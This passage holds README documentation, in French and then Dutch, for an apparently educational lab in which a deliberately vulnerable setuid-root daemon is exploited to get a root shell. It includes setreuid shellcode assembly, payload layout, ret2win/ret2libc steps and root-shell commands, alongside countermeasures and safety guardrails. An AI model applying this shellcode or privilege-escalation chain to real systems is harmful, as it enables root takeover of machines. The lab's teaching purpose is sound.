Voici où penser « bug SUID → spawn /bin/sh → root » irait de travers, et
|
||||
pourquoi ce lab a exactement la forme qu'il a.
|
||||
|
||||
Quand un programme setuid-root tourne, son `ruid` est toujours l'utilisateur
|
||||
qui l'a lancé, et son `euid` est root. Si le programme — ou l'attaquant — lance
|
||||
maintenant un shell :
|
||||
|
||||
* `execve("/bin/sh")` ne change **pas** les uids ; le nouveau processus hérite
|
||||
de `(ruid=1000, euid=0)`.
|
||||
* bash (et dash) **vérifie exactement cet état au démarrage**. D'après le
|
||||
manuel de bash : *« If the shell is started with the effective user (group)
|
||||
id not equal to the real user (group) id, and the -p option is not supplied,
|
||||
… the effective user id is set to the real user id. »*
|
||||
|
||||
Donc le shell se regarde et *lâche root* — une défense que les auteurs de
|
||||
shell ont construite précisément contre cette attaque (la justification
|
||||
historique était le problème des shell setuid / scripts setuid). Le résultat,
|
||||
ce sont les cas « ça marche, mais pas root » :
|
||||
|
||||
| Technique | Ce qu'elle exécute | uid résultant |
|
||||
|-----------|------------------|---------------|
|
||||
| `ret2win` | `win()` de `foosd` → `execl("/bin/sh")` | **1000** — shell atterri, root réinitialisé par bash |
|
||||
| `ret2libc` | `system("/bin/sh")` → `sh -c '/bin/sh'` tout frais | **1000** — même réinitialisation, un niveau plus bas |
|
||||
| `ret2win-root` | `win_root()` de `foosd` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid nettoyé depuis le C |
|
||||
| `shellcode` | 32 octets : `setreuid(0,0); execve("/bin/sh")` | **0** — ruid nettoyé depuis le code machine |
|
||||
|
||||
Celles qui atteignent root diffèrent de celles qui ne l'atteignent pas par
|
||||
exactement une idée : **elles nettoient l'uid *réel*, pas seulement
|
||||
l'effectif.**
|
||||
|
||||
```c
|
||||
setuid(0) /* met euid à 0, mais ruid reste 1000 :
|
||||
bash voit toujours euid != ruid et réinitialise QUAND MÊME. */
|
||||
setreuid(0, 0) /* met LES DEUX : ruid = euid = 0.
|
||||
bash voit des uids égaux et garde root. */
|
||||
```
|
||||
|
||||
C'est pourquoi la shellcode `/bin/sh` classique que vous trouvez partout sur
|
||||
Internet commence par un syscall de nettoyage d'uid — et c'est pourquoi la
|
||||
shellcode fait ici 32 octets au lieu de 23 : les cinq premières instructions
|
||||
sont
|
||||
|
||||
```asm
|
||||
xor edi, edi ; ruid = 0
|
||||
xor esi, esi ; euid = 0
|
||||
push 0x71 ; 113 = __NR_setreuid
|
||||
pop rax
|
||||
syscall
|
||||
```
|
||||
|
||||
### 5.3 Alors, c'est quoi l'exploit, de bout en bout ?
|
||||
|
||||
1. `foosc` lit le banner de `foosd` sur la socket. Il obtient :
|
||||
- `ids=0/1000` — euid/ruid (l'autodiagnostic SUID)
|
||||
- `stack=…` et `libc=…` — des pointeurs (les fuites ASLR)
|
||||
- `BUF=…` — l'adresse exacte du tampon qu'il s'apprête à faire déborder
|
||||
2. Depuis le binaire cible (via `objdump`), il apprend `rip_off` et les
|
||||
adresses de `win()` / `win_root()`.
|
||||
3. Depuis *sa propre* libc (via `/proc/self/maps` + `dlsym` + un scan mémoire),
|
||||
il mesure les offsets de `system`, `read`, `/bin/sh` et un gadget
|
||||
`pop rdi; ret` — rien n'est hardcodé.
|
||||
4. Il assemble la payload. Pour `-t shellcode`, c'est :
|
||||
`[code setreuid+execve de 32 octets][bourrage jusqu'à RIP][ret-fix][adresse de buf]`.
|
||||
5. Le `read()` de `foosd` déborde ; le `ret` atterrit sur la shellcode ; le
|
||||
noyau exécute `setreuid(0,0)` (pas de souci : euid 0 est privilégié) puis
|
||||
`execve` de `/bin/sh`. bash démarre avec `ruid == euid == 0` et reste root.
|
||||
6. `foosc` relaie votre terminal vers ce shell root, jusqu'à ce que vous
|
||||
tapiez `exit`.
|
||||
|
||||
Un détail de commodité qui coûte cher à beaucoup de gens s'il est manqué :
|
||||
l'exploit teste chaque comportement de nettoyage d'uid **sans** avoir besoin du
|
||||
bit setuid au préalable. Lancez `make test` avant `make setuid`, et vous verrez
|
||||
chaque technique atterrir un shell avec `ROOT=MISSING` ; lancez `make test-suid`
|
||||
après `make setuid`, et `ROOT=SEEN` apparaît pour les deux techniques qui
|
||||
nettolent l'uid réel. Ce A/B est toute la leçon, jouée en dix secondes.
|
||||
|
||||
---
|
||||
|
||||
## 6. Les vieux one-liners — et pourquoi la plupart sont morts
|
||||
|
||||
Si vous avez lu sur SUID, vous avez lu sur les détournements de `PATH`, sur
|
||||
`LD_PRELOAD` et sur les shells setuid. Les trois sont classiques, et les trois
|
||||
échouent sur un système moderne contre *ce programme*. Ça vaut le coup de
|
||||
savoir exactement pourquoi, parce que les raisons sont les défenses que vous
|
||||
avez gratuitement :
|
||||
|
||||
| Classe d'attaque | Vieille affirmation | Pourquoi elle échoue sur une machine moderne |
|
||||
|--------------|-----------|------------------------------|
|
||||
| `LD_PRELOAD` d'une bibliothèque malveillante | « Le programme setuid charge mon `.so` et exécute mon code en tant que root. » | Le noyau marque un binaire setuid comme **AT_SECURE** ; glibc ignore alors `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` et compagnie. L'environnement est traité comme *entrée non fiable*. `LD_PRELOAD` contre un binaire setuid est un no-op. |
|
||||
| Détournement de `PATH` (`system("ls")` avec un PATH empoisonné) | « Pointez PATH vers un répertoire avec mon faux `ls` ; le programme root l'exécutera. » | Un autre visage de la même défense : un processus AT_SECURE reçoit un **PATH assaini** (une valeur sûre par défaut, grossièrement `/usr/local/bin:/usr/bin:/bin`) pour `system()`/`execvp`, donc le répertoire empoisonné n'est jamais consulté. |
|
||||
| Injection de commande `system()` setuid | « La commande injectée s'exécute avec euid 0. » | `system()` exécute la commande dans un `/bin/sh` tout frais, et ce shell — §5.2 — réinitialise `euid = ruid` au démarrage. La commande injectée s'exécute avec l'uid *réel*. (C'est toujours un bug ; ça n'escalade juste plus via `/bin/sh`.) |
|
||||
| Shell root setuid sur disque (`cp /bin/sh /tmp; chmod u+s`) | « Exécute-le, obtiens root. » | Exactement la défense ci-dessus, et c'est pourquoi les distros modernes ne livrent aucun shell root setuid. Même si vous réussissez à en fabriquer un, bash refuse de garder euid 0 sauf s'il est lancé avec `-p`. |
|
||||
|
||||
Ce qui reste vivant, et c'est ce lab : **le programme est *déjà* root quand il
|
||||
tourne.** Vous n'avez besoin ni de l'environnement ni de `system()` ; vous avez
|
||||
besoin que le programme exécute *votre* code (via un bug de corruption
|
||||
mémoire) pendant qu'il est privilégié, et que votre code soit assez soigneux
|
||||
pour corriger lui-même le mismatch d'uid — `setreuid(0,0)` — avant de vous
|
||||
tendre un shell. Corruption mémoire + SUID est la combinaison qui finit encore
|
||||
en `uid=0`, et c'est exactement pourquoi les langages sûrs en mémoire, les
|
||||
canaries et les piles no-execute ne sont pas une décision de mode.
|
||||
|
||||
---
|
||||
|
||||
## 7. Les garde-fous intégrés au démon
|
||||
|
||||
`foosd` est volontairement le *pire* morceau de logiciel de ce dépôt, alors il
|
||||
porte aussi le plus de garde-fous :
|
||||
|
||||
1. **Loopback seulement, imposé.** `foosd` refuse toute adresse de bind hors
|
||||
loopback, sauf si vous passez `-L`. Un listener setuid-root sur une vraie
|
||||
interface est un service root distant ; le refus est la valeur par défaut,
|
||||
pour que l'état dangereux doive être tapé délibérément.
|
||||
2. **Autodiagnostic.** Au démarrage, il journalise `ruid`/`euid` et s'il
|
||||
tourne en root, pour que la console montre l'état dont dépend l'exploit.
|
||||
3. **Le log n'atteint jamais le client.** Le démon réserve un descripteur de
|
||||
log privé avant que les sockets ne remplacent fd 1, pour que la sortie du
|
||||
crash-reporter et les chemins internes ne puissent pas être relus sur le
|
||||
fil par l'attaquant.
|
||||
4. **Crash-reporter.** Un handler SIGSEGV journalise `RIP`/`RSP` — la valeur
|
||||
que l'attaquant a écrite dans l'adresse de retour — pour qu'une prise de
|
||||
contrôle réussie soit visible dans `foosd.log` au lieu d'être une mort
|
||||
silencieuse.
|
||||
5. **`make unsetuid`.** Retirer le bit est scripté, parce que le laisser posé
|
||||
est le mode d'échec que les gens ont réellement.
|
||||
|
||||
---
|
||||
|
||||
## 8. Contre-mesures — ce que chacune arrête et ce qu'elle *n'arrête pas*
|
||||
|
||||
Appliquées à `foosd` via `make hardened`, une par une ou ensemble :
|
||||
|
||||
| Contre-mesure | Ce qu'elle arrête | Ce qu'elle *n'arrête pas* |
|
||||
|------------|---------------|-------------------------|
|
||||
| `-fstack-protector-strong` (canary) | Le débordement : `ret` détecte une canary écrasée et abort avant que l'adresse de l'attaquant soit utilisée. Arrête ici **les quatre** techniques — elles partagent le même `read()` vulnérable. | Rien par *conception* : le binaire est toujours setuid-root ; un autre bug (format-string-`%n`, heap-overflow, use-after-free) n'a pas de canary à déclencher. |
|
||||
| `-fPIE -pie` (ASLR pour le binaire) | L'utilisation d'adresses `win()`/`win_root()` prévisibles (les techniques ret2win). | La technique shellcode, si une adresse de pile fuite encore (ligne `BUF=`). |
|
||||
| `-z noexecstack` (NX / W^X) | La shellcode : le CPU refuse de chercher des instructions sur une page data-only, donc un saut vers `buf` est un SIGSEGV. | ROP — exécuter du code qui existe déjà (`ret2libc`). |
|
||||
| Les trois ensemble | Un binaire difficile à déborder, randomisé, avec une pile non exécutable. Voilà à quoi ressemble une build durcie normale. | Le bit setuid. **Un binaire SUID durci reste un binaire SUID.** S'il survit un bug mémoire atteignable, c'est toujours « bug dans un processus root ». |
|
||||
|
||||
La preuve console, c'est `make test-hardened`, qui échange la build durcie et
|
||||
montre les techniques mourir à la canary, pendant que `foosd_hardened.log`
|
||||
capture `*** stack smashing detected ***`.
|
||||
|
||||
Deux contre-mesures de niveau conception, qu'aucun flag de compilateur ne
|
||||
fournit, et que le lab principal (`food`) utilise aussi :
|
||||
|
||||
- **Moindre privilège.** Un démon pour un port non privilégié (2343 > 1024)
|
||||
n'a aucun besoin légitime de root. Un `foosd` correct lierait puis ferait
|
||||
`setgroups`/`setgid`/`setuid` vers un compte non privilégié et *confirmerait
|
||||
que ça a tenu* (la version correcte est dans la source sous le nom de
|
||||
`drop_privs()`, jamais appelée — le non-appel est le bug n° 3 du lab).
|
||||
- **Limitez le read.** `n = read(fd, buf, sizeof(buf) - 1)`. Une ligne correcte
|
||||
surpasse tous les flags de compilateur du tableau.
|
||||
|
||||
---
|
||||
|
||||
## 9. Le protocole filaire (pour que vous puissiez lire le démon avec netcat)
|
||||
|
||||
```text
|
||||
FOOSD 1.0 - deliberately vulnerable SUID service
|
||||
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
|
||||
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
|
||||
BUF=0x7ffd...
|
||||
```
|
||||
|
||||
* `ids=euid/ruid` — ne pouvait pas être affiché comme `euid=`/`ruid=`, parce
|
||||
que la harnesse de test prouve un shell en grepant le `uid=` littéral, et le
|
||||
banner ne doit pas le contenir (une sonde qui partage la signature de la
|
||||
réponse est un piège classique de faux positif ; voir le commentaire dans
|
||||
`foosd.c`). La harnesse exige en outre la forme stricte de sortie `id` —
|
||||
`uid=NNN(...)` — pour que rien de ce que le démon ou l'exploit affiche ne
|
||||
puisse satisfaire le contrôle par accident : le propre « target euid=… ruid=… »
|
||||
de `foosc` contient `uid=` comme sous-chaîne, ce qui a un jour fait
|
||||
rapporter à un test durci un shell qui n'avait jamais tourné.
|
||||
* `stack=`, `libc=`, `BUF=` — les fuites ASLR : elles permettent à la
|
||||
shellcode et à ret2libc de calculer des adresses exactes.
|
||||
|
||||
---
|
||||
|
||||
## 10. Exercices
|
||||
|
||||
1. **Considérez la descente non-root.** Lancez `make test` *avant* `make
|
||||
setuid`, puis encore après. Expliquez le passage à `ROOT=SEEN` avec
|
||||
l'histoire ruid/euid de la §5.2.
|
||||
2. **Lisez le crash.** Lancez `./foosc -t demo -n` puis lisez `foosd.log`.
|
||||
La ligne `RIP=0x4141414141414141` est le bourrage de l'attaquant — la
|
||||
preuve que c'est le débordement, pas le hasard, qui contrôle l'exécution.
|
||||
3. **Ajoutez la canary.** `make hardened` et modifiez vous-même la boucle
|
||||
`test-hardened` ; la ligne de log `*** stack smashing detected ***` est la
|
||||
défense qui fonctionne.
|
||||
4. **Désactivez la fuite.** Commentez la ligne `BUF=` dans `foosd.c`, recompilez
|
||||
et voyez `-t shellcode` passer de déterministe à jeu de devinettes. Cette
|
||||
seule ligne est la raison pour laquelle les vrais bypass d'ASLR sont tout un
|
||||
domaine.
|
||||
5. **L'expérience `-p`.** Dans une copie de `win()`, changez `execl("/bin/sh",
|
||||
"sh", NULL)` en `execl("/bin/sh", "sh", "-p", NULL)` et observez root. `-p`
|
||||
est la sortie de secours documentée du gardien du shell — et la raison pour
|
||||
laquelle le conseil « spawn juste un shell » des vieux write-ups est
|
||||
incomplet.
|
||||
6. **Pourquoi pas `setuid(0)` ?** Réécrivez la shellcode pour appeler
|
||||
`setuid(0)` au lieu de `setreuid(0,0)` (syscall 105). Le shell atterrit
|
||||
quand même — et retombe quand même à `uid=1000`. C'est l'expérience d'une
|
||||
seule ligne la plus instructive de tout le dépôt.
|
||||
|
||||
---
|
||||
|
||||
## 11. Sécurité et nettoyage
|
||||
|
||||
- Loopback uniquement, par défaut et par conception ; `-L` lie plus loin, et
|
||||
seule une VM bonne à jeter devrait même l'envisager.
|
||||
- C'est un lab de shell root. Ne le faites pas tourner sur une machine qui
|
||||
compte, et ne pointez pas `foosc -h` vers quelque chose que vous ne possédez
|
||||
pas.
|
||||
- Rituel de nettoyage : `make stop` puis `make unsetuid`, et si vous voulez
|
||||
l'arborescence impeccable à nouveau : `sudo make clean`.
|
||||
|
||||
```console
|
||||
$ make stop
|
||||
$ make unsetuid
|
||||
```
|
||||
398
suid/README.NL.md
Normal file
398
suid/README.NL.md
Normal file
|
|
@ -0,0 +1,398 @@
|
|||
# SUID-root-RCE-lab — `foosd` (daemon) + `foosc` (exploit)
|
||||
|
||||
Een begeleider van het hoofdlaboratorium (`food` / `fooc`, een gewone daemon
|
||||
waar een bufferoverloop je een *gebruiker*-shell geeft). Dit voegt de
|
||||
gevaarlijkste wijziging van één teken in Unix toe: **de setuid-bit**.
|
||||
|
||||
> `chmod u+s` verandert "de aanvaller kan code draaien op deze host" in "de
|
||||
> aanvaller kan code draaien als **root** op deze host".
|
||||
|
||||
Die zin is het hele lab. Alles hieronder is het mechanisme eronder,
|
||||
opgeschreven, zodat je wanneer je je eigen software schrijft precies weet welke
|
||||
twee of drie bestandssysteem-attributen en compilerflags bepalen of een
|
||||
geheugenveiligheidsbug in jouw code een ergernis of een root-shell is.
|
||||
|
||||
De uiteindelijke demo, wanneer `foosd` setuid-root is, is een **root-shell**
|
||||
die over het netwerk wordt geopend door 32 bytes handgeschreven shellcode uit
|
||||
te voeren.
|
||||
|
||||
---
|
||||
|
||||
## 1. Wat de setuid-bit daadwerkelijk doet
|
||||
|
||||
Elk proces op Linux draagt drie user-ID's, en de setuid-bit rommelt aan de
|
||||
verhouding ertussen:
|
||||
|
||||
| ID | Naam | Betekenis |
|
||||
|----|------|---------|
|
||||
| `ruid` | reële user-ID | de account die het proces *startte* |
|
||||
| `euid` | effectieve user-ID | wat de kernel controleert wanneer hij toegang handhaaft |
|
||||
| (saved) | opgeslagen set-user-ID | een "spoor" waarnaar een bevoorrecht proces later kan terugkeren |
|
||||
|
||||
Een normaal programma heeft `ruid == euid`. Wanneer je een binair bestand
|
||||
uitvoert met de setuid-bit gezet, eigendom van root:
|
||||
|
||||
```text
|
||||
ruid = jij (bijv. 1000, "hanez")
|
||||
euid = de eigenaar (bijv. 0, "root")
|
||||
```
|
||||
|
||||
Het proces heeft dus **roots autoriteit**, ook al is de gebruiker die het
|
||||
startte volkomen gewoon. Elke controle die de kernel uitvoert — kan dit proces
|
||||
`/etc/shadow` lezen? een bestand schrijven? een ander proces doden? — wordt
|
||||
beantwoord met `euid`, dus "ja, het is root".
|
||||
|
||||
`foosd` is een netwerkdaemon. Hij bindt een poort en `fork()`t daarna een kind
|
||||
per verbinding. Een fork *erft* de euid, dus elk kind dat een verbinding
|
||||
afhandelt, is ook root. De overloop in `foosd`s `vulnerable_handler()` is
|
||||
daarom een overloop *binnenin een root-proces*.
|
||||
|
||||
**Diagnosticeer het zelf wanneer de daemon draait:**
|
||||
|
||||
```console
|
||||
$ ./foosd ... # zie de logregel die hij bij de start print
|
||||
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
|
||||
```
|
||||
|
||||
en vanuit het exploit:
|
||||
|
||||
```console
|
||||
$ ./foosc -t leak
|
||||
foosc: target euid=0 ruid=1000
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. Het lab in één oogopslag
|
||||
|
||||
| Bestand | Rol |
|
||||
|------|------|
|
||||
| `foosd.c` | De bewust kwetsbare daemon (eigenaar van de bugs). Draai als *setuid-root*-binary voor de root-shell-demo. |
|
||||
| `foosc.c` | Het exploit. Gebruikt standaard de 32-byte `setreuid + execve`-shellcodetechniek. |
|
||||
| `shellcode.S` | De referentie-shellcode; `make verify` diff't het tegen de byte-array in `foosc.c`. |
|
||||
| `tests/pty_suid_test.c` | Test-harness. Drijft `foosc` door een pseudo-terminal en bewijst zowel "er draaide een shell" *als* "die was root" (`uid=0(`). |
|
||||
| `Makefile` | Build, `setuid`/`unsetuid`-helpers, testmatrix. |
|
||||
| `README.md` | Dit bestand. |
|
||||
|
||||
> **Waarom een pty?** De laatste actie van het exploit is je terminal
|
||||
> doorschakelen naar de shell die op het slachtoffer draait. Een pipe of
|
||||
> here-doc komt aan de verkeerde kant van die doorschakeling terecht; een echte
|
||||
> terminal is vereist.
|
||||
|
||||
---
|
||||
|
||||
## 3. Snelle start
|
||||
|
||||
```console
|
||||
$ make # bouw alles, als je normale gebruiker
|
||||
$ make setuid # één keer, vraagt om sudo: chown root + chmod u+s
|
||||
$ make run # start foosd op 127.0.0.1:2343
|
||||
$ make test-suid # volledige matrix; shellcode + ret2win-root moeten root geven
|
||||
```
|
||||
|
||||
Interactieve rooktest:
|
||||
|
||||
```console
|
||||
$ ./foosc -t shellcode
|
||||
...
|
||||
foosc: target euid=0 ruid=1000
|
||||
foosc: shell is on the victim (root if foosd is SUID); relaying
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root) <-- je bent root, op het slachtoffer
|
||||
# exit
|
||||
```
|
||||
|
||||
Wanneer je klaar bent:
|
||||
|
||||
```console
|
||||
$ make stop
|
||||
$ make unsetuid # hygiëne: laat nooit een root-SUID-binary achter
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. *Wanneer moet ik de SUID-bit zetten?* — het antwoord dat je vroeg
|
||||
|
||||
Precies **één keer, na het bouwen, vóór je de daemon start voor de
|
||||
root-shell-demo's** — en alleen op een machine die van jou is, geschikt om weg
|
||||
te gooien en losgekoppeld van het netwerk:
|
||||
|
||||
```console
|
||||
$ make # compileer foosd, foosc, tests
|
||||
$ make setuid # <-- HET MOMENT. sudo chown root:root foosd && sudo chmod u+s foosd
|
||||
$ make run # start NÁ het zetten van de bit
|
||||
```
|
||||
|
||||
Twee regels die belangrijker zijn dan het precieze tijdstip:
|
||||
|
||||
1. **Zet hem alleen als de binary klaar is.** Als je herbouwt (`make` /
|
||||
`make clean`) nadat je de bit hebt gezet, krijg je een "Permission denied"
|
||||
bij het schrijven van root-bezeten outputbestanden — en als je de herbouw
|
||||
forceert, herschept de toolchain het bestand **zonder** de `s` en maak je de
|
||||
opzet stilletjes ongedaan. De canonieke volgorde bij elke herbouw is daarom
|
||||
|
||||
```console
|
||||
$ make unsetuid && make && make setuid
|
||||
```
|
||||
|
||||
2. **Haal hem weg als je klaar bent.** `make unsetuid`. Een levende,
|
||||
root-bezeten setuid-binary met een exploiteerbare bug in je boom is geen
|
||||
leermiddel, het is een root-gat met een compilerfout tussen zichzelf en
|
||||
niets. Op een gedeelde of productiemachine: **doe niets van dit alles.** De
|
||||
daemon weigert bovendien standaard iets anders dan loopback te binden (zie
|
||||
§7).
|
||||
|
||||
Als je het exploit *zonder* ooit de bit te zetten draait, gaat er niets
|
||||
kapot — de payload landt nog steeds, en je krijgt nog steeds een shell. Het
|
||||
verschil zit in één getal, en het exploit zegt het hardop:
|
||||
|
||||
```console
|
||||
foosc: WARNING: the daemon is NOT running with euid 0.
|
||||
The payload will still land, but the shell will be
|
||||
a plain user shell, not root.
|
||||
Fix: sudo make setuid
|
||||
```
|
||||
|
||||
Het "werkte, maar niet root"-resultaat is zelf onderdeel van het lab. Onthoud
|
||||
dat voor de volgende sectie.
|
||||
|
||||
---
|
||||
|
||||
## 5. Het mechanisme — en de twist die SUID interessant maakt
|
||||
|
||||
### 5.1 De overloop (identiek aan `food`)
|
||||
|
||||
De handler van `foosd` geeft een `read()` 512 bytes vertrouwen terwijl hij er
|
||||
een 64-byte stack-buffer aan reikt:
|
||||
|
||||
```c
|
||||
char buf[64];
|
||||
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over de rand */
|
||||
```
|
||||
|
||||
Op x86-64 groeit de stack naar beneden. Het exploit schrijft 64 bytes rommel
|
||||
om `buf` te vullen, 8 om de opgeslagen framepointer te vullen en nog 8 om de
|
||||
**opgeslagen retouradres** te vervangen. Wanneer `vulnerable_handler` de `ret`
|
||||
uitvoert, poppt de CPU de waarde van de aanvaller in `RIP` —
|
||||
aanvaller-gecontroleerde code-uitvoering. Het exploit vindt de exacte afstand
|
||||
(88 bytes voor deze build) door `objdump`-output te parsen in plaats van die te
|
||||
hardcoden, zodat het getal herbouwen overleeft.
|
||||
|
||||
### 5.2 De twist: de shell weigert root te zijn
|
||||
|
||||
Hier is waar "SUID-bug → spawn /bin/sh → root" fout zou gaan, en waarom dit lab
|
||||
precies de vorm heeft die het heeft.
|
||||
|
||||
Wanneer een setuid-root-programma draait, is zijn `ruid` nog steeds de
|
||||
startende gebruiker en is zijn `euid` root. Als het programma — of de aanvaller
|
||||
— nu een shell start:
|
||||
|
||||
* `execve("/bin/sh")` verandert de uids **niet**; het nieuwe proces erft
|
||||
`(ruid=1000, euid=0)`.
|
||||
* bash (en dash) **controleert die exacte toestand bij de start**. Uit de
|
||||
bash-handleiding: *"If the shell is started with the effective user (group)
|
||||
id not equal to the real user (group) id, and the -p option is not supplied,
|
||||
… the effective user id is set to the real user id."*
|
||||
|
||||
Dus de shell kijkt naar zichzelf en *laat root vallen* — een verdediging die de
|
||||
shell-auteurs precies tegen dit aanval bouwden (de historische reden was het
|
||||
setuid-shell-/setuid-scriptprobleem). Het resultaat is de "werkte, maar niet
|
||||
root"-gevallen:
|
||||
|
||||
| Techniek | Wat hij uitvoert | Resulterende uid |
|
||||
|-----------|------------------|---------------|
|
||||
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landde, root gereset door bash |
|
||||
| `ret2libc` | `system("/bin/sh")` → verse `sh -c '/bin/sh'` | **1000** — dezelfde reset, één niveau lager |
|
||||
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid opgeruimd vanuit C |
|
||||
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid opgeruimd vanuit machinecode |
|
||||
|
||||
Degene die root bereiken, verschillen van degene die dat niet doen in precies
|
||||
één idee: **ze ruimen de *reële* uid op, niet alleen de effectieve.**
|
||||
|
||||
```c
|
||||
setuid(0) /* zet euid op 0, maar ruid blijft 1000:
|
||||
bash ziet nog steeds euid != ruid en reset NOG STEEDS. */
|
||||
setreuid(0, 0) /* zet BEIDE: ruid = euid = 0.
|
||||
bash ziet gelijke uids en houdt root. */
|
||||
```
|
||||
|
||||
Daarom begint de klassieke `/bin/sh`-shellcode die je overal op internet vindt
|
||||
met een uid-opruimend syscall — en daarom is de shellcode hier 32 bytes in
|
||||
plaats van 23: de eerste vijf instructies zijn
|
||||
|
||||
```asm
|
||||
xor edi, edi ; ruid = 0
|
||||
xor esi, esi ; euid = 0
|
||||
push 0x71 ; 113 = __NR_setreuid
|
||||
pop rax
|
||||
syscall
|
||||
```
|
||||
|
||||
### 5.3 Dus wat is het exploit, van begin tot eind?
|
||||
|
||||
1. `foosc` leest het banner van `foosd` over de socket. Het krijgt:
|
||||
- `ids=0/1000` — euid/ruid (de SUID-zelfdiagnose)
|
||||
- `stack=…` en `libc=…` — pointers (de ASLR-leaks)
|
||||
- `BUF=…` — het exacte adres van de buffer die het op het punt staat te
|
||||
laten overlopen
|
||||
2. Uit de doel-binary (via `objdump`) leert het `rip_off` en de adressen van
|
||||
`win()` / `win_root()`.
|
||||
3. Uit *zijn eigen* libc (via `/proc/self/maps` + `dlsym` + een geheugenscan)
|
||||
meet het de offsets van `system`, `read`, `/bin/sh` en een
|
||||
`pop rdi; ret`-gadget — niets is hardcoded.
|
||||
4. Het stelt de payload samen. Voor `-t shellcode` is dat:
|
||||
`[32-byte-setreuid+execve-code][padding tot RIP][ret-fix][adres van buf]`.
|
||||
5. `foosd`s `read()` loopt over; de `ret` landt op de shellcode; de kernel
|
||||
voert `setreuid(0,0)` uit (geen probleem: euid 0 is bevoorrecht) en daarna
|
||||
`execve` van `/bin/sh`. bash start met `ruid == euid == 0` en blijft root.
|
||||
6. `foosc` schakelt je terminal door naar die root-shell, tot je `exit` typt.
|
||||
|
||||
Eén gemakdetail dat mensen veel tijd kost als het wordt gemist: het exploit
|
||||
test elk uid-opruimgedrag **zonder** eerst de setuid-bit nodig te hebben. Draai
|
||||
`make test` vóór `make setuid`, en je ziet elke techniek een shell landen terwijl
|
||||
`ROOT=MISSING` staat; draai `make test-suid` ná `make setuid`, en `ROOT=SEEN`
|
||||
verschijnt bij de twee technieken die de reële uid opruimen. Die A/B is de hele
|
||||
les, in tien seconden uitgevoerd.
|
||||
|
||||
---
|
||||
|
||||
## 6. De oude one-liners — en waarom de meeste dood zijn
|
||||
|
||||
Heb je over SUID gelezen, dan heb je over `PATH`-kapingen, `LD_PRELOAD` en
|
||||
setuid-shells gelezen. Alle drie zijn klassiek, en alle drie falen op een
|
||||
modern systeem tegen *dit programma*. Het is de moeite waard om precies te
|
||||
weten waarom, want de redenen zijn de verdedigingen die je gratis krijgt:
|
||||
|
||||
| Aanvalsklasse | Oude bewering | Waarom hij faalt op een moderne machine |
|
||||
|--------------|-----------|------------------------------|
|
||||
| `LD_PRELOAD` van een kwaadaardige bibliotheek | "Het setuid-programma laadt mijn `.so` en draait mijn code als root." | De kernel markeert een setuid-binary als **AT_SECURE**; glibc negeert daarna `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` en vrienden. De omgeving wordt behandeld als *onbetrouwbare input*. `LD_PRELOAD` tegen een setuid-binary is een no-op. |
|
||||
| `PATH`-kaping (`system("ls")` met een vergiftigde PATH) | "Wijs PATH naar een map met mijn neppe `ls`; het root-programma draait hem." | Een ander gezicht van hetzelfde verdedigingen: een AT_SECURE-proces krijgt een **gesaneerde `PATH`** (een veilige standaard, grofweg `/usr/local/bin:/usr/bin:/bin`) voor `system()`/`execvp`, dus de vergiftigde map wordt nooit geraadpleegd. |
|
||||
| Setuid-`system()`-commando-injectie | "Het geïnjecteerde commando draait met euid 0." | `system()` draait het commando in een verse `/bin/sh`, en die shell — §5.2 — reset `euid = ruid` bij de start. Het geïnjecteerde commando wordt uitgevoerd met de *reële* uid. (Het blijft een bug; het escaleert alleen niet meer via `/bin/sh`.) |
|
||||
| Setuid-root-shell op de schijf (`cp /bin/sh /tmp; chmod u+s`) | "Draai hem, krijg root." | Precies wat hierboven verdedigd wordt, en dat is waarom moderne distro's geen enkele setuid-root-shell leveren. Zelfs als je er één kunt maken, weigert bash euid 0 te houden tenzij hij met `-p` wordt gestart. |
|
||||
|
||||
Wat blijft leven, en dat is dit lab: **het programma is *al* root wanneer het
|
||||
draait.** Je hebt de omgeving of `system()` niet nodig; je hebt nodig dat het
|
||||
programma *jouw* code uitvoert (via een geheugenbeschadigingsbug) terwijl het
|
||||
bevoorrecht is, en dat jouw code zorgvuldig genoeg is om zelf de uid-mismatch
|
||||
recht te zetten — `setreuid(0,0)` — voordat het je een shell overhandigt.
|
||||
Geheugenbeschadiging + SUID is de combinatie die nog steeds in `uid=0` eindigt,
|
||||
en dat is precies waarom geheugenveilige talen, canaries en no-execute-stacks
|
||||
geen modebeslissing zijn.
|
||||
|
||||
---
|
||||
|
||||
## 7. De veiligheidsheurlingen die in de daemon zijn ingebouwd
|
||||
|
||||
`foosd` is bewust het *slechtste* stuk software in dit repository, dus het
|
||||
draagt ook de meeste leuningen:
|
||||
|
||||
1. **Alleen loopback, afgedwongen.** `foosd` weigert elke bind-adres buiten
|
||||
loopback, tenzij je `-L` geeft. Een setuid-root-listener op een echte
|
||||
interface is een externe root-dienst; de weigering is de standaard, zodat de
|
||||
gevaarlijke toestand bewust moet worden ingetypt.
|
||||
2. **Zelfdiagnose.** Bij de start logt hij `ruid`/`euid` en of hij als root
|
||||
draait, zodat de console de toestand toont waarvan het exploit afhangt.
|
||||
3. **De log bereikt de client nooit.** De daemon reserveert een privé
|
||||
log-descriptor vóór sockets fd 1 vervangen, zodat crash-reporter-output en
|
||||
interne paden niet door de aanvaller over de draad teruggelezen kunnen
|
||||
worden.
|
||||
4. **Crash-reporter.** Een SIGSEGV-handler logt `RIP`/`RSP` — de waarde die de
|
||||
aanvaller in het retouradres schreef — zodat een succesvolle overname
|
||||
zichtbaar is in `foosd.log` in plaats van een stille dood.
|
||||
5. **`make unsetuid`.** Het verwijderen van de bit is gescript, omdat hem laten
|
||||
staan de faaltoestand is die mensen daadwerkelijk hebben.
|
||||
|
||||
---
|
||||
|
||||
## 8. Tegenmaatregelen — wat elke stopt en wat hij *niet* stopt
|
||||
|
||||
Toegepast op `foosd` via `make hardened`, één voor één of samen:
|
